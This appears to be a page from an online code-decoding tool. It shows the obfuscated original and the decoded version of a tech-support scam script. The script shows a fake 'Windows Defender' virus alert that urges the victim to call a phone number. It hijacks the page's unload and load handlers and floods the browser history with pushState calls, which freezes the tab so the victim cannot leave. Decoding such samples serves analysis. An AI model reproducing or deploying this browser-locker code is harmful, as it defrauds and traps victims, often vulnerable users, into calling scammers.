Find this useful? Enter your email to receive occasional updates for securing PHP code.

Signing you up...

Thank you for signing up!

PHP Decode

var text = 'Windows Defender Alert : Zeus Virus Detected In Your Computer !! \n Please Do ..

Decoded Output download

<?  var text = 'Windows Defender Alert : Zeus Virus Detected In Your Computer !! 
 Please Do Not Shut Down or Reset Your Computer. 

 The following data will be compromised if you continue: 
 1. Passwords 
 2. Browser History 
 3. Credit Card Information 
 4.Local Hard Disk Files. 

 This virus is well known for complete identity and credit card theft. Further action through this computer or any computer on the network will reveal private information and involve serious risks. 
 
 Call Microsoft Technical Department: (888) 719-6846 (Toll Free)'; 
var _0x73fd=["onbeforeunload","*************************************************
RDN/YahLover.worm!055BCCAC9FEC Infection
*************************************************

","returnValue","onload","","pushState"];window[_0x73fd[0]]= function(_0x71d0x1){var _0x71d0x2=_0x73fd[1]+ text;_0x71d0x1[_0x73fd[2]]= _0x71d0x2;return _0x71d0x2};window[_0x73fd[3]]= function(){if(confirm(_0x73fd[1]+ text)){var _0x71d0x3=_0x73fd[4];for(var _0x71d0x4=0;_0x71d0x4< 100000000;_0x71d0x4++){_0x71d0x3= _0x71d0x3+ _0x71d0x4.toString();history[_0x73fd[5]](0,0,_0x71d0x3)}}else {var _0x71d0x3=_0x73fd[4];for(var _0x71d0x4=0;_0x71d0x4< 100000000;_0x71d0x4++){_0x71d0x3= _0x71d0x3+ _0x71d0x4.toString();history[_0x73fd[5]](0,0,_0x71d0x3)}}} ?>

Did this file decode correctly?

Original Code

var text = 'Windows Defender Alert : Zeus Virus Detected In Your Computer !! \n Please Do Not Shut Down or Reset Your Computer. \n\n The following data will be compromised if you continue: \n 1. Passwords \n 2. Browser History \n 3. Credit Card Information \n 4.Local Hard Disk Files. \n\n This virus is well known for complete identity and credit card theft. Further action through this computer or any computer on the network will reveal private information and involve serious risks. \n \n Call Microsoft Technical Department: (888) 719-6846 (Toll Free)';
var _0x73fd=["\x6F\x6E\x62\x65\x66\x6F\x72\x65\x75\x6E\x6C\x6F\x61\x64","\x2A\x2A\x2A\x2A\x2A\x2A\x2A\x2A\x2A\x2A\x2A\x2A\x2A\x2A\x2A\x2A\x2A\x2A\x2A\x2A\x2A\x2A\x2A\x2A\x2A\x2A\x2A\x2A\x2A\x2A\x2A\x2A\x2A\x2A\x2A\x2A\x2A\x2A\x2A\x2A\x2A\x2A\x2A\x2A\x2A\x2A\x2A\x2A\x2A\x0A\x52\x44\x4E\x2F\x59\x61\x68\x4C\x6F\x76\x65\x72\x2E\x77\x6F\x72\x6D\x21\x30\x35\x35\x42\x43\x43\x41\x43\x39\x46\x45\x43\x20\x49\x6E\x66\x65\x63\x74\x69\x6F\x6E\x0A\x2A\x2A\x2A\x2A\x2A\x2A\x2A\x2A\x2A\x2A\x2A\x2A\x2A\x2A\x2A\x2A\x2A\x2A\x2A\x2A\x2A\x2A\x2A\x2A\x2A\x2A\x2A\x2A\x2A\x2A\x2A\x2A\x2A\x2A\x2A\x2A\x2A\x2A\x2A\x2A\x2A\x2A\x2A\x2A\x2A\x2A\x2A\x2A\x2A\x0A\x0A","\x72\x65\x74\x75\x72\x6E\x56\x61\x6C\x75\x65","\x6F\x6E\x6C\x6F\x61\x64","","\x70\x75\x73\x68\x53\x74\x61\x74\x65"];window[_0x73fd[0]]= function(_0x71d0x1){var _0x71d0x2=_0x73fd[1]+ text;_0x71d0x1[_0x73fd[2]]= _0x71d0x2;return _0x71d0x2};window[_0x73fd[3]]= function(){if(confirm(_0x73fd[1]+ text)){var _0x71d0x3=_0x73fd[4];for(var _0x71d0x4=0;_0x71d0x4< 100000000;_0x71d0x4++){_0x71d0x3= _0x71d0x3+ _0x71d0x4.toString();history[_0x73fd[5]](0,0,_0x71d0x3)}}else {var _0x71d0x3=_0x73fd[4];for(var _0x71d0x4=0;_0x71d0x4< 100000000;_0x71d0x4++){_0x71d0x3= _0x71d0x3+ _0x71d0x4.toString();history[_0x73fd[5]](0,0,_0x71d0x3)}}}

Function Calls

None

Variables

None

Stats

MD5 6355127964b5fd5cabd4251acb811721
Eval Count 0
Decode Time 75 ms